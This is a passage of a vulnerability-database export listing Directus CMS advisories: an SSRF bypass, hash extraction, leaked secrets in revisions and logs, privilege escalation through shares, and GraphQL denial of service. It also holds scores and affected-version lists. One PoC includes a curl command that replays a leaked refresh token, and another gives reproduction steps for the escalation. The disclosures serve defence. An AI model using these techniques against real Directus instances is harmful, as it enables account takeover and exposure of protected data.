scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-07-15T13:41:05Z/
url https://github.com/directus/directus/pull/25354
7
reference_url https://github.com/advisories/GHSA-f24x-rm6g-3w5v
reference_id GHSA-f24x-rm6g-3w5v
reference_type
scores
url https://github.com/advisories/GHSA-f24x-rm6g-3w5v
fixed_packages
0
url pkg:npm/directus@11.9.0
purl pkg:npm/directus@11.9.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-2uz6-wjn7-kug4
2
vulnerability VCID-4x1w-8bx4-rqf9
3
vulnerability VCID-6ggp-xn4c-gya3
4
vulnerability VCID-6mr6-u3vk-sygm
5
vulnerability VCID-88w3-rw8u-rqea
6
vulnerability VCID-bwww-3wep-2ydf
7
vulnerability VCID-exwx-sqry-c3gc
8
vulnerability VCID-hv63-3zhy-dyae
9
vulnerability VCID-kugb-dwxd-6fhe
10
vulnerability VCID-mk5k-pf2s-mfe9
11
vulnerability VCID-n9br-39bb-7ugt
12
vulnerability VCID-rq5y-ee4h-gkff
13
vulnerability VCID-trbn-m8sj-ffa4
14
vulnerability VCID-vt3b-2dr3-aka2
15
vulnerability VCID-wcaq-4zzz-qfb7
16
vulnerability VCID-ycj2-8tqq-jyag
17
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.9.0
aliases CVE-2025-53886, GHSA-f24x-rm6g-3w5v
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-n7g1-hmy7-j7g9
29
url VCID-n9br-39bb-7ugt
vulnerability_id VCID-n9br-39bb-7ugt
summary
Directus: SSRF Protection Bypass via IPv4-Mapped IPv6 Addresses in File Import
### Summary
A Server-Side Request Forgery (SSRF) protection bypass has been identified and fixed in Directus. The IP address validation mechanism used to block requests to local and private networks could be circumvented using IPv4-Mapped IPv6 address notation.

### Details
Directus implements an IP deny-list to prevent server-side requests to internal/private network ranges. The validation logic failed to normalize IPv4-Mapped IPv6 addresses (e.g., the IPv6 representation of `127.0.0.1`) before checking them against the deny-list. Because the deny-list check did not recognize these mapped addresses as equivalent to their IPv4 counterparts, an attacker could bypass the restriction while the underlying HTTP client and operating system still resolved and connected to the intended private target.

This has been fixed by adding a normalization step that converts IPv4-Mapped IPv6 addresses to their canonical IPv4 form prior to validation.

### Impact
An authenticated user (or an unauthenticated user if public file-import permissions are enabled) could exploit this bypass to perform SSRF attacks against internal services on the same host (databases, caches, internal APIs) or cloud instance metadata endpoints (e.g., AWS/GCP/Azure IMDS).
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-35409
reference_id
reference_type
scores
0
value 0.00014
scoring_system epss
scoring_elements 0.02833
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-35409
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 7.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/security/advisories/GHSA-wv3h-5fx7-966h
reference_id
reference_type
scores
0
value 7.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-08T14:04:19Z/
url https://github.com/directus/directus/security/advisories/GHSA-wv3h-5fx7-966h
3
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-35409
reference_id
reference_type
scores
0
value 7.7
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
1
value HIGH
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-35409
4
reference_url https://github.com/advisories/GHSA-wv3h-5fx7-966h
reference_id GHSA-wv3h-5fx7-966h
reference_type
scores
url https://github.com/advisories/GHSA-wv3h-5fx7-966h
fixed_packages
0
url pkg:npm/directus@11.16.0
purl pkg:npm/directus@11.16.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-1xcr-rv9q-9kaz
1
vulnerability VCID-6ggp-xn4c-gya3
2
vulnerability VCID-6mr6-u3vk-sygm
3
vulnerability VCID-bwww-3wep-2ydf
4
vulnerability VCID-exwx-sqry-c3gc
5
vulnerability VCID-hv63-3zhy-dyae
6
vulnerability VCID-rq5y-ee4h-gkff
7
vulnerability VCID-trbn-m8sj-ffa4
8
vulnerability VCID-wcaq-4zzz-qfb7
9
vulnerability VCID-ycj2-8tqq-jyag
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.16.0
aliases CVE-2026-35409, GHSA-wv3h-5fx7-966h
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-n9br-39bb-7ugt
30
url VCID-q63x-ba8r-tfc1
vulnerability_id VCID-q63x-ba8r-tfc1
summary
Directus vulnerable to extraction of password hashes through export querying
### Impact

Users with read access to the `password` field in `directus_users` can extract the argon2 password hashes by brute forcing the export functionality combined with a `_starts_with` filter. This allows the user to enumerate the password hashes.

### Patches

The problem has been patched by preventing any hashed/concealed field to be filtered against with the `_starts_with` or other string operator.

### Workarounds

Ensuring that no user has `read` access to the `password` field in `directus_users` is sufficient to prevent this vulnerability. 


### For more information
If you have any questions or comments about this advisory:
* Open a Discussion in [directus/directus](https://github.com/directus/directus/discussions/new)
* Email us at [security@directus.io](mailto:security@directus.io)
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2023-27481
reference_id
reference_type
scores
0
value 0.00301
scoring_system epss
scoring_elements 0.53677
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2023-27481
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/pull/14829
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-25T14:30:10Z/
url https://github.com/directus/directus/pull/14829
3
reference_url https://github.com/directus/directus/pull/15010
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-25T14:30:10Z/
url https://github.com/directus/directus/pull/15010
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-m5q3-8wgf-x8xf
reference_id
reference_type
scores
0
value 4.3
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
1
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-25T14:30:10Z/
url https://github.com/directus/directus/security/advisories/GHSA-m5q3-8wgf-x8xf
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2023-27481
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2023-27481
6
reference_url https://github.com/advisories/GHSA-m5q3-8wgf-x8xf
reference_id GHSA-m5q3-8wgf-x8xf
reference_type
scores
url https://github.com/advisories/GHSA-m5q3-8wgf-x8xf
fixed_packages
0
url pkg:npm/directus@9.16.0
purl pkg:npm/directus@9.16.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2uz6-wjn7-kug4
5
vulnerability VCID-4aek-ts88-rqaj
6
vulnerability VCID-4uk6-xe3f-h3h9
7
vulnerability VCID-4v6n-unvz-wff3
8
vulnerability VCID-4x1w-8bx4-rqf9
9
vulnerability VCID-547q-d837-dfcz
10
vulnerability VCID-662k-n18g-mybg
11
vulnerability VCID-6ggp-xn4c-gya3
12
vulnerability VCID-6mr6-u3vk-sygm
13
vulnerability VCID-6z4j-ev48-67hq
14
vulnerability VCID-7w4r-sr7k-77g1
15
vulnerability VCID-88w3-rw8u-rqea
16
vulnerability VCID-95tn-g8wd-63hq
17
vulnerability VCID-a75s-xyu6-wbcw
18
vulnerability VCID-a9tr-a8r5-57en
19
vulnerability VCID-bjb3-z2we-rqab
20
vulnerability VCID-bwww-3wep-2ydf
21
vulnerability VCID-djhf-pqnt-6qcp
22
vulnerability VCID-dy98-51bk-p3fk
23
vulnerability VCID-exwx-sqry-c3gc
24
vulnerability VCID-hv63-3zhy-dyae
25
vulnerability VCID-j711-a6gm-b7hr
26
vulnerability VCID-km7s-b9cy-57c3
27
vulnerability VCID-mk5k-pf2s-mfe9
28
vulnerability VCID-n7g1-hmy7-j7g9
29
vulnerability VCID-n9br-39bb-7ugt
30
vulnerability VCID-rq5y-ee4h-gkff
31
vulnerability VCID-sxfr-pmr2-x7e7
32
vulnerability VCID-szpk-4g6r-f3e6
33
vulnerability VCID-trbn-m8sj-ffa4
34
vulnerability VCID-u5pc-6e92-zyev
35
vulnerability VCID-vt3b-2dr3-aka2
36
vulnerability VCID-vthx-5g35-zfcp
37
vulnerability VCID-wcaq-4zzz-qfb7
38
vulnerability VCID-ycj2-8tqq-jyag
39
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@9.16.0
aliases CVE-2023-27481, GHSA-m5q3-8wgf-x8xf
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-q63x-ba8r-tfc1
31
url VCID-rq5y-ee4h-gkff
vulnerability_id VCID-rq5y-ee4h-gkff
summary
Directus: Sensitive fields exposed in revision history
### Summary

Directus stores revision records (in `directus_revisions`) whenever items are created or updated. Due to the revision snapshot code not consistently calling the `prepareDelta` sanitization pipeline, sensitive fields (including user tokens, two-factor authentication secrets, external auth identifiers, auth data, stored credentials, and AI provider API keys) could be stored in plaintext within revision records.

### Impact
Any user or service account with read access to `directus_revisions` (or flow logs) could retrieve values for fields that are supposed to be concealed or encrypted at rest, including:
- `token`, `tfa_secret`, `external_identifier`, `auth_data`, `credentials`
- `ai_openai_api_key`, `ai_anthropic_api_key`, `ai_google_api_key`, `ai_openai_compatible_api_key`

This could lead to account takeover (via stolen tokens or 2FA secrets) or unauthorized use of third-party API keys stored against users.

### Affected code paths

1. **Item create/update revisions** The data (snapshot) field written to directus_revisions was not processed through prepareDelta, so concealed/encrypted fields were stored without redaction. Relational fields were also included, which should have been excluded.
2. **Authentication service** When a user was auto-suspended after repeated failed login attempts, the revision record was created with the raw user object (including all sensitive fields) rather than the sanitized delta.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2026-39943
reference_id
reference_type
scores
0
value 0.00032
scoring_system epss
scoring_elements 0.09767
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2026-39943
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/releases/tag/v11.17.0
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-10T14:06:00Z/
url https://github.com/directus/directus/releases/tag/v11.17.0
3
reference_url https://github.com/directus/directus/security/advisories/GHSA-mvv8-v4jj-g47j
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:N/A:N/T:P/P:M/B:A/M:M/D:T/2026-04-10T14:06:00Z/
url https://github.com/directus/directus/security/advisories/GHSA-mvv8-v4jj-g47j
4
reference_url https://nvd.nist.gov/vuln/detail/CVE-2026-39943
reference_id
reference_type
scores
0
value 6.5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2026-39943
5
reference_url https://github.com/advisories/GHSA-mvv8-v4jj-g47j
reference_id GHSA-mvv8-v4jj-g47j
reference_type
scores
url https://github.com/advisories/GHSA-mvv8-v4jj-g47j
fixed_packages
0
url pkg:npm/directus@11.17.0
purl pkg:npm/directus@11.17.0
is_vulnerable false
affected_by_vulnerabilities
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.17.0
aliases CVE-2026-39943, GHSA-mvv8-v4jj-g47j
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-rq5y-ee4h-gkff
32
url VCID-sxfr-pmr2-x7e7
vulnerability_id VCID-sxfr-pmr2-x7e7
summary
directus vulnerable to Insertion of Sensitive Information into Log File
### Summary

CWE-532: Insertion of Sensitive Information into Log File discovered in v9.23.1. The `directus_refresh_token` is not redacted properly from the log outputs and can be used to impersonate users without their permission. 

### Details

Using `v9.23.1`, I am seeing that the `directus_refresh_token` is not properly redacted as indicated by https://github.com/directus/directus/blob/7c479c5161639aac466c763b6b958a9524201d74/api/src/logger.ts#L13

I'm classifying this as a security vulnerability because if someone has access to the log outputs, for example with a shared Cloud account or Splunk implementation, they could exchange the refresh token using `/auth/refresh` for an access token and use the token to perform actions on behalf of an unsuspecting user. This situation creates issues with accountability and non-repudiation because we can no longer have confidence that actions taken in the application were authorized or even performed by the logged-in user. 

A couple of examples of this are:
- A disgruntled employee deletes all of the data to get even with a target team member before logging off on their last day
- Under the guise of their unsuspecting boss, a mischievous engineer uploads _questionable_ images that get displayed on internal or external facing content sites

The list could go on but I think these communicate the risk of an internal threat that has access to this information 😆 

### PoC
1. Set `LOG_STYLE="raw"` and run Directus v9.23.1
1. Log in to the application
1. Look at the shell output and see that `directus_refresh_token` is logged
    > Note: This is different from the standard `raw` output format. I intentionally ran this with `npx directus start | pino-pretty` so logs would be easier to read. It can also be reproduced by running `npx directus start` alone. 

    ![image](https://user-images.githubusercontent.com/13325146/224877190-54e12d7e-3c3e-42d3-9e21-0bd4439f4f44.png)

1. Exchange the `directus_refresh_token` for an `access_token`

     ``` shell
      curl -X POST \
        'http://0.0.0.0:8055/auth/refresh' \
        --header 'Accept: */*' \
        --header 'Cookie: directus_refresh_token=$shh'
     ```

### Impact
Because this can be used to exploit other threats related to  [CWE-284: Improper Access Control](https://cwe.mitre.org/data/definitions/284.html) I rank it with a Moderate severity. An insider with knowledge of this could do many mischievous things and get away with them for a long time without victims knowing about it.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2023-28443
reference_id
reference_type
scores
0
value 0.00061
scoring_system epss
scoring_elements 0.19243
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2023-28443
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/blob/7c479c5161639aac466c763b6b958a9524201d74/api/src/logger.ts#L13
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-21T15:28:44Z/
url https://github.com/directus/directus/blob/7c479c5161639aac466c763b6b958a9524201d74/api/src/logger.ts#L13
3
reference_url https://github.com/directus/directus/commit/349536303983ccba68ecb3e4fb35315424011afc
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-21T15:28:44Z/
url https://github.com/directus/directus/commit/349536303983ccba68ecb3e4fb35315424011afc
4
reference_url https://github.com/directus/directus/security/advisories/GHSA-8vg2-wf3q-mwv7
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
2
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-02-21T15:28:44Z/
url https://github.com/directus/directus/security/advisories/GHSA-8vg2-wf3q-mwv7
5
reference_url https://nvd.nist.gov/vuln/detail/CVE-2023-28443
reference_id
reference_type
scores
0
value 4.2
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:L/AC:L/PR:H/UI:R/S:U/C:H/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2023-28443
6
reference_url https://github.com/advisories/GHSA-8vg2-wf3q-mwv7
reference_id GHSA-8vg2-wf3q-mwv7
reference_type
scores
url https://github.com/advisories/GHSA-8vg2-wf3q-mwv7
fixed_packages
0
url pkg:npm/directus@9.23.3
purl pkg:npm/directus@9.23.3
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-28xp-kp38-8kem
3
vulnerability VCID-2hc2-7tsc-nka1
4
vulnerability VCID-2hv8-fgdr-hugf
5
vulnerability VCID-2uz6-wjn7-kug4
6
vulnerability VCID-4aek-ts88-rqaj
7
vulnerability VCID-4qw3-s2gp-9bc8
8
vulnerability VCID-4uk6-xe3f-h3h9
9
vulnerability VCID-4v6n-unvz-wff3
10
vulnerability VCID-4x1w-8bx4-rqf9
11
vulnerability VCID-547q-d837-dfcz
12
vulnerability VCID-662k-n18g-mybg
13
vulnerability VCID-6ggp-xn4c-gya3
14
vulnerability VCID-6mr6-u3vk-sygm
15
vulnerability VCID-7w4r-sr7k-77g1
16
vulnerability VCID-88w3-rw8u-rqea
17
vulnerability VCID-95tn-g8wd-63hq
18
vulnerability VCID-a75s-xyu6-wbcw
19
vulnerability VCID-a9tr-a8r5-57en
20
vulnerability VCID-bjb3-z2we-rqab
21
vulnerability VCID-bwww-3wep-2ydf
22
vulnerability VCID-djhf-pqnt-6qcp
23
vulnerability VCID-dy98-51bk-p3fk
24
vulnerability VCID-exwx-sqry-c3gc
25
vulnerability VCID-hv63-3zhy-dyae
26
vulnerability VCID-j711-a6gm-b7hr
27
vulnerability VCID-km7s-b9cy-57c3
28
vulnerability VCID-mk5k-pf2s-mfe9
29
vulnerability VCID-n7g1-hmy7-j7g9
30
vulnerability VCID-n9br-39bb-7ugt
31
vulnerability VCID-rq5y-ee4h-gkff
32
vulnerability VCID-szpk-4g6r-f3e6
33
vulnerability VCID-trbn-m8sj-ffa4
34
vulnerability VCID-u5pc-6e92-zyev
35
vulnerability VCID-uft7-5e9d-dqh8
36
vulnerability VCID-vt3b-2dr3-aka2
37
vulnerability VCID-wcaq-4zzz-qfb7
38
vulnerability VCID-ycj2-8tqq-jyag
39
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@9.23.3
aliases CVE-2023-28443, GHSA-8vg2-wf3q-mwv7
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-sxfr-pmr2-x7e7
33
url VCID-szpk-4g6r-f3e6
vulnerability_id VCID-szpk-4g6r-f3e6
summary
Directus allows privilege escalation using Share feature
### Summary
When sharing an item, user can specify an arbitrary role. It allows user to use a higher-privileged role to see fields that otherwise the user should not be able to see.

### Details
Specifying `role` on share should be available only for admins. The current flow has a security flaw.

Each other role should allow to share only in the context of the same role. As there is no role hierarchy in Directus, it is impossible to tell which role is _higher_ or _lower_, so only admins should be able to specify the role for share.

Optionally, instead of specifying a role, shareer* should be able to specify which fields (limited to fields shareer sees) are available on shared item. Similarily to import.

*_shareer_ - a person that creates a share link to item

### PoC
1. Create a collection with a secret field. 
2. Create role A that sees the secret field
3. Create role B that does not see the secret field, but can use share feature.
4. Create item with secret field filled. 
5. Use account with role B to share the object as role A and gain unauthorized access to secret value.

Here's video example: https://www.youtube.com/watch?v=DbV4IxbWzN4
I had to upload it to YouTube, because GitHub allows only 10MB videos.

### Impact
Impacted are instances that use the share feature and have specific roles hierarchy and fields that are not visible for certain roles.
references
0
reference_url https://api.first.org/data/v1/epss?cve=CVE-2025-24353
reference_id
reference_type
scores
0
value 0.00347
scoring_system epss
scoring_elements 0.57488
published_at 2026-05-29T12:55:00Z
url https://api.first.org/data/v1/epss?cve=CVE-2025-24353
1
reference_url https://github.com/directus/directus
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://github.com/directus/directus
2
reference_url https://github.com/directus/directus/commit/e288a43a79613dada905da683f4919c6965ac804
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-01-23T18:52:42Z/
url https://github.com/directus/directus/commit/e288a43a79613dada905da683f4919c6965ac804
3
reference_url https://github.com/directus/directus/pull/23716
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-01-23T18:52:42Z/
url https://github.com/directus/directus/pull/23716
4
reference_url https://github.com/directus/directus/releases/tag/v11.2.0
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-01-23T18:52:42Z/
url https://github.com/directus/directus/releases/tag/v11.2.0
5
reference_url https://github.com/directus/directus/security/advisories/GHSA-pmf4-v838-29hg
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-01-23T18:52:42Z/
url https://github.com/directus/directus/security/advisories/GHSA-pmf4-v838-29hg
6
reference_url https://nvd.nist.gov/vuln/detail/CVE-2025-24353
reference_id
reference_type
scores
0
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value MODERATE
scoring_system generic_textual
scoring_elements
url https://nvd.nist.gov/vuln/detail/CVE-2025-24353
7
reference_url https://www.youtube.com/watch?v=DbV4IxbWzN4
reference_id
reference_type
scores
0
value 5
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
1
value 5.0
scoring_system cvssv3.1
scoring_elements CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N
2
value MODERATE
scoring_system generic_textual
scoring_elements
3
value Track
scoring_system ssvc
scoring_elements SSVCv2/E:P/A:N/T:P/P:M/B:A/M:M/D:T/2025-01-23T18:52:42Z/
url https://www.youtube.com/watch?v=DbV4IxbWzN4
8
reference_url https://github.com/advisories/GHSA-pmf4-v838-29hg
reference_id GHSA-pmf4-v838-29hg
reference_type
scores
url https://github.com/advisories/GHSA-pmf4-v838-29hg
fixed_packages
0
url pkg:npm/directus@11.2.0
purl pkg:npm/directus@11.2.0
is_vulnerable true
affected_by_vulnerabilities
0
vulnerability VCID-177p-63us-jkhh
1
vulnerability VCID-1xcr-rv9q-9kaz
2
vulnerability VCID-2hv8-fgdr-hugf
3
vulnerability VCID-2uz6-wjn7-kug4
4
vulnerability VCID-4x1w-8bx4-rqf9
5
vulnerability VCID-662k-n18g-mybg
6
vulnerability VCID-6ggp-xn4c-gya3
7
vulnerability VCID-6mr6-u3vk-sygm
8
vulnerability VCID-88w3-rw8u-rqea
9
vulnerability VCID-a75s-xyu6-wbcw
10
vulnerability VCID-a9tr-a8r5-57en
11
vulnerability VCID-bwww-3wep-2ydf
12
vulnerability VCID-dy98-51bk-p3fk
13
vulnerability VCID-ejdy-qscm-bqe1
14
vulnerability VCID-exwx-sqry-c3gc
15
vulnerability VCID-gnzq-q9g9-m3a4
16
vulnerability VCID-hv63-3zhy-dyae
17
vulnerability VCID-j711-a6gm-b7hr
18
vulnerability VCID-kugb-dwxd-6fhe
19
vulnerability VCID-mk5k-pf2s-mfe9
20
vulnerability VCID-n7g1-hmy7-j7g9
21
vulnerability VCID-n9br-39bb-7ugt
22
vulnerability VCID-rq5y-ee4h-gkff
23
vulnerability VCID-trbn-m8sj-ffa4
24
vulnerability VCID-uft7-5e9d-dqh8
25
vulnerability VCID-vt3b-2dr3-aka2
26
vulnerability VCID-wcaq-4zzz-qfb7
27
vulnerability VCID-wx6m-6dac-xqaj
28
vulnerability VCID-ycj2-8tqq-jyag
29
vulnerability VCID-zjtb-sh5z-h3gg
resource_url http://public2.vulnerablecode.io/packages/pkg:npm/directus@11.2.0
aliases CVE-2025-24353, GHSA-pmf4-v838-29hg
risk_score null
exploitability null
weighted_severity null
resource_url http://public2.vulnerablecode.io/vulnerabilities/VCID-szpk-4g6r-f3e6
34
url VCID-trbn-m8sj-ffa4
vulnerability_id VCID-trbn-m8sj-ffa4
summary
Directus: Unauthenticated Denial of Service via GraphQL Alias Amplification of Expensive Health Check Resolver
## Summary

The GraphQL specification permits a single query to repeat the same field multiple times using aliases, with each alias resolved independently by default. Directus did not deduplicate resolver invocations within a single request, meaning each alias triggered a full, independent execution of the underlying resolver.

The health check resolver ran all backend checks (database connectivity, cache, storage writes, and SMTP verification) on every invocation. Combined with unauthenticated access to the system GraphQL endpoint, this allowed an attacker to amplify resource consumption significantly from a single HTTP request, exhausting the database connection pool, storage I/O, and SMTP connections.

## Fix

A request-scoped resolver deduplication mechanism was introduced and applied broadly across all GraphQL read resolvers, both system and items endpoints. When multiple aliases in a single request invoke the same resolver with identical arguments, only the first call executes; all subsequent aliases share its result. This eliminates the amplification factor regardless of how many aliases an attacker includes in a query.

## Impact

